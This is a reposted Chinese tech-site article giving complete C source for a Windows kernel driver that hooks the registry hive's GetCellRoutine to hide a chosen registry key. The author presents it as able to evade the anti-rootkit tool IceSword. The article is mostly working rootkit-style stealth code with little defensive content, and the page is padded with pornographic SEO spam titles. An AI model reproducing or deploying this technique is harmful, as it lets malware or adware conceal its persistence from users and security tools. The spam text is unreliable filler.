亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb

首頁 > 學院 > 操作系統 > 正文

一段隱藏注冊表項的代碼

2024-06-28 13:05:10
字體:
來源:轉載
供稿:網友

發一段隱藏注冊表項的驅動代碼,可以過目前最新的IceSWord1.22。

以前驅動開發網懸賞挑戰IceSword時寫的,不過最后沒公開。那時流氓軟件勢頭正勁,我可不想火上澆油?,F在反流氓軟件日漸成熟,也就沒關系了。知道了原理,防御是非常容易的。

原理很簡單,實現的代碼也很短,啥都不用說,各位直接看示例代碼吧。

#include <ntddk.h>

#define GET_PTR(ptr, offset) ( *(PVOID*)( (ULONG)ptr + (offset##Offset) ) )

#define CM_KEY_INDEX_ROOT      0x6972         // ir
#define CM_KEY_INDEX_LEAF      0x696c         // il
#define CM_KEY_FAST_LEAF       0x666c         // fl
#define CM_KEY_HASH_LEAF       0x686c         // hl

// 一些CM的數據結構,只列出用到的開頭部分
#PRagma pack(1)
typedef struct _CM_KEY_NODE {
       USHORT Signature;
       USHORT Flags;
       LARGE_INTEGER LastWriteTime;
       ULONG Spare;               // used to be TitleIndex
       HANDLE Parent;
       ULONG SubKeyCounts[2];     // Stable and Volatile
       HANDLE SubKeyLists[2];     // Stable and Volatile
       // ...
} CM_KEY_NODE, *PCM_KEY_NODE;

typedef struct _CM_KEY_INDEX {
       USHORT Signature;
       USHORT Count;
       HANDLE List[1];
} CM_KEY_INDEX, *PCM_KEY_INDEX;

typedef struct _CM_KEY_BODY {
       ULONG Type;                // "ky02"
       PVOID KeyControlBlock;
       PVOID NotifyBlock;
       PEPROCESS Process;         // the owner process
       LIST_ENTRY KeyBodyList; // key_nodes using the same kcb
} CM_KEY_BODY, *PCM_KEY_BODY;

typedef PVOID (__stdcall *PGET_CELL_ROUTINE)(PVOID, HANDLE);

typedef struct _HHIVE {
       ULONG Signature;
       PGET_CELL_ROUTINE GetCellRoutine;
       // ...
} HHIVE, *PHHIVE;
#pragma pack()

// 需隱藏的主鍵名
WCHAR g_HideKeyName[] = L"http://Registry//Machine//SYSTEM//CurrentControlSet//Services//Beep";

PGET_CELL_ROUTINE g_pGetCellRoutine = NULL;
PGET_CELL_ROUTINE* g_ppGetCellRoutine = NULL;

PCM_KEY_NODE g_HideNode = NULL;
PCM_KEY_NODE g_LastNode = NULL;

// 打開指定名字的Key
HANDLE OpenKeyByName(PCWSTR pwcsKeyName)
{
       NTSTATUS status;
       UNICODE_STRING uKeyName;
       OBJECT_ATTRIBUTES oa;
       HANDLE hKey;

       RtlInitUnicodeString(&uKeyName, pwcsKeyName);
       InitializeObjectAttributes(&oa, &uKeyName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
       status = ZwOpenKey(&hKey, KEY_READ, &oa);
       if (!NT_SUCCESS(status))
       {
           DbgPrint("ZwOpenKey Failed: %lx/n", status);
           return NULL;
       }

       return hKey;
}

// 獲取指定Key句柄的KeyControlBlock
PVOID GetKeyControlBlock(HANDLE hKey)
{
       NTSTATUS status;
       PCM_KEY_BODY KeyBody;
       PVOID KCB;

       if (hKey == NULL) return NULL;

       // 由Key句柄獲取對象體
       status = ObReferenceObjectByHandle(hKey, KEY_READ, NULL, KernelMode, &KeyBody, NULL);
       if (!NT_SUCCESS(status))
       {
           DbgPrint("ObReferenceObjectByHandle Failed: %lx/n", status);
           return NULL;
       }

       // 對象體中含有KeyControlBlock
       KCB = KeyBody->KeyControlBlock;
       DbgPrint("KeyControlBlock = %lx/n", KCB);

       ObDereferenceObject(KeyBody);

       return KCB;
}

// 獲取父鍵的最后一個子鍵的節點
PVOID GetLastKeyNode(PVOID Hive, PCM_KEY_NODE Node)
{
       // 獲取父鍵的節點
       PCM_KEY_NODE ParentNode = (PCM_KEY_NODE)g_pGetCellRoutine(Hive, Node->Parent);
       // 獲取子鍵的索引
       PCM_KEY_INDEX Index = (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, ParentNode->SubKeyLists[0]);

       DbgPrint("ParentNode = %lx/nIndex = %lx/n", ParentNode, Index);

       // 如果為根(二級)索引,獲取最后一個索引
       if (Index->Signature == CM_KEY_INDEX_ROOT)
       {
           Index = (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, Index->List[Index->Count-1]);
           DbgPrint("Index = %lx/n", Index);
       }

       if (Index->Signature == CM_KEY_FAST_LEAF || Index->Signature == CM_KEY_HASH_LEAF)
       {
           // 快速葉索引(2k)或散列葉索引(XP/2k3),返回最后的節點
           return g_pGetCellRoutine(Hive, Index->List[2*(Index->Count-1)]);
       }
       else
       {
           // 一般葉索引,返回最后的節點
           return g_pGetCellRoutine(Hive, Index->List[Index->Count-1]);
       }
}

// GetCell例程的鉤子函數
PVOID MyGetCellRoutine(PVOID Hive, HANDLE Cell)
{
       // 調用原函數
       PVOID pRet = g_pGetCellRoutine(Hive, Cell);
       if (pRet)
       {
           // 返回的是需要隱藏的節點
           if (pRet == g_HideNode)
           {
               DbgPrint("GetCellRoutine(%lx, %08lx) = %lx/n", Hive, Cell, pRet);
               // 查詢、保存并返回其父鍵的最后一個子鍵的節點
               pRet = g_LastNode = (PCM_KEY_NODE)GetLastKeyNode(Hive, g_HideNode);
               DbgPrint("g_LastNode = %lx/n", g_LastNode);
               // 隱藏的正是最后一個節點,返回空值
               if (pRet == g_HideNode) pRet = NULL;
           }
           // 返回的是先前保存的最后一個節點
           else if (pRet == g_LastNode)
           {
               DbgPrint("GetCellRoutine(%lx, %08lx) = %lx/n", Hive, Cell, pRet);
               // 清空保存值,并返回空值
               pRet = g_LastNode = NULL;
           }
       }
       return pRet;
}

NTSTATUS DriverUnload(PDRIVER_OBJECT pDrvObj)
{
       DbgPrint("DriverUnload()/n");
       // 解除掛鉤
       if (g_ppGetCellRoutine) *g_ppGetCellRoutine = g_pGetCellRoutine;
       return STATUS_SUCCESS;
}

NTSTATUS DriverEntry(PDRIVER_OBJECT pDrvObj, PUNICODE_STRING pRegPath)
{
       ULONG BuildNumber;
       ULONG KeyHiveOffset;       // KeyControlBlock->KeyHive
       ULONG KeyCellOffset;       // KeyControlBlock->KeyCell
       HANDLE hKey;
       PVOID KCB, Hive;

       DbgPrint("DriverEntry()/n");

       pDrvObj->DriverUnload = DriverUnload;

       // 查詢BuildNumber
       if (PsGetVersion(NULL, NULL, &BuildNumber, NULL)) return STATUS_NOT_SUPPORTED;
       DbgPrint("BuildNumber = %d/n", BuildNumber);

       // KeyControlBlock結構各版本略有不同
       // Cell的值一般小于0x80000000,而Hive正相反,以此來判斷也可以
       switch (BuildNumber)
       {
           case 2195:     // Win2000
               KeyHiveOffset = 0xc;
               KeyCellOffset = 0x10;
               break;
           case 2600:     // WinXP
           case 3790:     // Win2003
               KeyHiveOffset = 0x10;
               KeyCellOffset = 0x14;
               break;
           default:
               return STATUS_NOT_SUPPORTED;
       }

       // 打開需隱藏的鍵
       hKey = OpenKeyByName(g_HideKeyName);
       // 獲取該鍵的KeyControlBlock
       KCB = GetKeyControlBlock(hKey);
       if (KCB)
       {
           // 由KCB得到Hive
           PHHIVE Hive = (PHHIVE)GET_PTR(KCB, KeyHive);
           // GetCellRoutine在KCB中,保存原地址
           g_ppGetCellRoutine = &Hive->GetCellRoutine;
           g_pGetCellRoutine = Hive->GetCellRoutine;
           DbgPrint("GetCellRoutine = %lx/n", g_pGetCellRoutine);
           // 獲取需隱藏的節點并保存
           g_HideNode = (PCM_KEY_NODE)g_pGetCellRoutine(Hive, GET_PTR(KCB, KeyCell));
           // 掛鉤GetCell例程
           Hive->GetCellRoutine = MyGetCellRoutine;
       }
       ZwClose(hKey);

       return STATUS_SUCCESS;
}


發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
亚洲香蕉成人av网站在线观看_欧美精品成人91久久久久久久_久久久久久久久久久亚洲_热久久视久久精品18亚洲精品_国产精自产拍久久久久久_亚洲色图国产精品_91精品国产网站_中文字幕欧美日韩精品_国产精品久久久久久亚洲调教_国产精品久久一区_性夜试看影院91社区_97在线观看视频国产_68精品久久久久久欧美_欧美精品在线观看_国产精品一区二区久久精品_欧美老女人bb
亚洲欧美中文日韩在线v日本| 亚洲精品久久久久中文字幕二区| 国产欧美一区二区三区在线看| 欧美视频在线观看免费| 午夜精品福利视频| 国产亚洲人成a一在线v站| 国产成人avxxxxx在线看| 亚洲精品免费网站| 国产精品入口免费视| 亚洲精品自拍第一页| 精品成人69xx.xyz| 深夜福利一区二区| 久久激情视频免费观看| 国产精品久久久久久久久久久久久久| 色综合久久88色综合天天看泰| 日韩精品免费综合视频在线播放| 欧美最顶级的aⅴ艳星| 国产精品久久网| 久久99久久99精品免观看粉嫩| 欧美性xxxx在线播放| 日韩精品小视频| 久久伊人精品视频| 久久资源免费视频| 日韩av在线精品| 97久久精品在线| 成人免费淫片视频软件| 亚洲欧美国产精品专区久久| 欧美精品生活片| 日韩在线视频播放| 日韩av电影手机在线观看| 中文.日本.精品| 欧美亚洲国产成人精品| www.国产精品一二区| 欧美性精品220| 欧美色图在线视频| 日本成人在线视频网址| 在线a欧美视频| 午夜精品久久久久久久99热浪潮| 欧美激情视频一区二区| 久久视频在线免费观看| 久久久久久97| 综合网日日天干夜夜久久| 亚洲图片制服诱惑| 久久精品视频中文字幕| 亚洲福利视频专区| 亚洲精品一区二区三区不| 亚洲天天在线日亚洲洲精| 国产欧美一区二区三区久久人妖| 91精品国产91久久久久久不卡| 欧美激情va永久在线播放| 97国产真实伦对白精彩视频8| 欧美激情小视频| 欧美精品在线观看| 一区二区三区黄色| 韩日精品中文字幕| 亚洲最新av在线网站| 国产精品美女久久| 欧美亚洲一区在线| 亚洲毛片在线观看| 亚洲欧美日本另类| 欧美国产日韩一区| 日韩成人av在线播放| 91九色国产视频| 亚洲欧美国产一本综合首页| 欧美剧在线观看| 欧美人与物videos| 97视频在线观看成人| 欧美性视频精品| 中文字幕欧美精品日韩中文字幕| 2019中文字幕在线| 国外成人免费在线播放| yw.139尤物在线精品视频| 欧美一乱一性一交一视频| 国产精品69av| 揄拍成人国产精品视频| 国产精品久久久久一区二区| 一本久久综合亚洲鲁鲁| 久久久免费精品| 欧美日韩国产影院| 一区二区在线视频| 色偷偷综合社区| 日韩亚洲欧美中文在线| 久久久免费在线观看| 欧美精品在线免费播放| 亚洲欧美一区二区三区四区| 国产精品国内视频| 国产精品一区二区性色av| 国产欧美一区二区三区视频| 亚洲夜晚福利在线观看| 国产99久久久欧美黑人| 欧美成人国产va精品日本一级| 国产亚洲欧洲高清一区| 性欧美激情精品| 91精品91久久久久久| 中日韩美女免费视频网址在线观看| 91精品视频免费看| 久久91亚洲人成电影网站| 国产精品第100页| 亚洲国产日韩欧美在线图片| 亚洲精品久久久久国产| 日韩av第一页| 日韩在线视频导航| 久久久精品美女| 亚洲无av在线中文字幕| 精品中文字幕乱| 日本19禁啪啪免费观看www| 欧美精品午夜视频| 成人欧美一区二区三区在线湿哒哒| 亚洲视频视频在线| 美女精品久久久| 国内精品视频在线| 日韩精品在线影院| 欧美刺激性大交免费视频| 亚洲女人天堂色在线7777| 色99之美女主播在线视频| 精品国内产的精品视频在线观看| 欧美日韩人人澡狠狠躁视频| 亚洲视频综合网| 亚洲精品视频在线观看视频| 91久久国产精品| 亚洲精品自拍第一页| 欧美激情成人在线视频| 97香蕉超级碰碰久久免费软件| yellow中文字幕久久| 国产91精品久久久久久| 欧美精品videos性欧美| 国产精品爽爽爽爽爽爽在线观看| 欧美成人在线免费| 国产精品成人av在线| 亚洲高清免费观看高清完整版| 久久影院免费观看| 欧美性xxxx在线播放| 欧美国产视频日韩| 伊人伊成久久人综合网小说| 欧美午夜性色大片在线观看| 日韩在线免费观看视频| 精品国产91久久久久久| 久久久91精品国产一区不卡| 欧美激情综合色| 91在线免费视频| 911国产网站尤物在线观看| 欧美精品一区二区三区国产精品| 亚洲国产精品人久久电影| wwwwwwww亚洲| 日韩黄色av网站| 欧美成年人视频| 91中文在线观看| 国产精品偷伦免费视频观看的| 亚洲女性裸体视频| 夜夜嗨av色一区二区不卡| 久久久精品一区二区三区| 日韩电影中文字幕av| 欧美精品一本久久男人的天堂| 国语自产精品视频在免费| 日韩久久免费电影| 色综合久久久888| 国产剧情久久久久久| 精品成人乱色一区二区| 永久免费毛片在线播放不卡| 久久综合国产精品台湾中文娱乐网| 精品亚洲一区二区三区在线播放| 亚洲第一色中文字幕| 国产欧美在线观看| 亚洲日本成人女熟在线观看|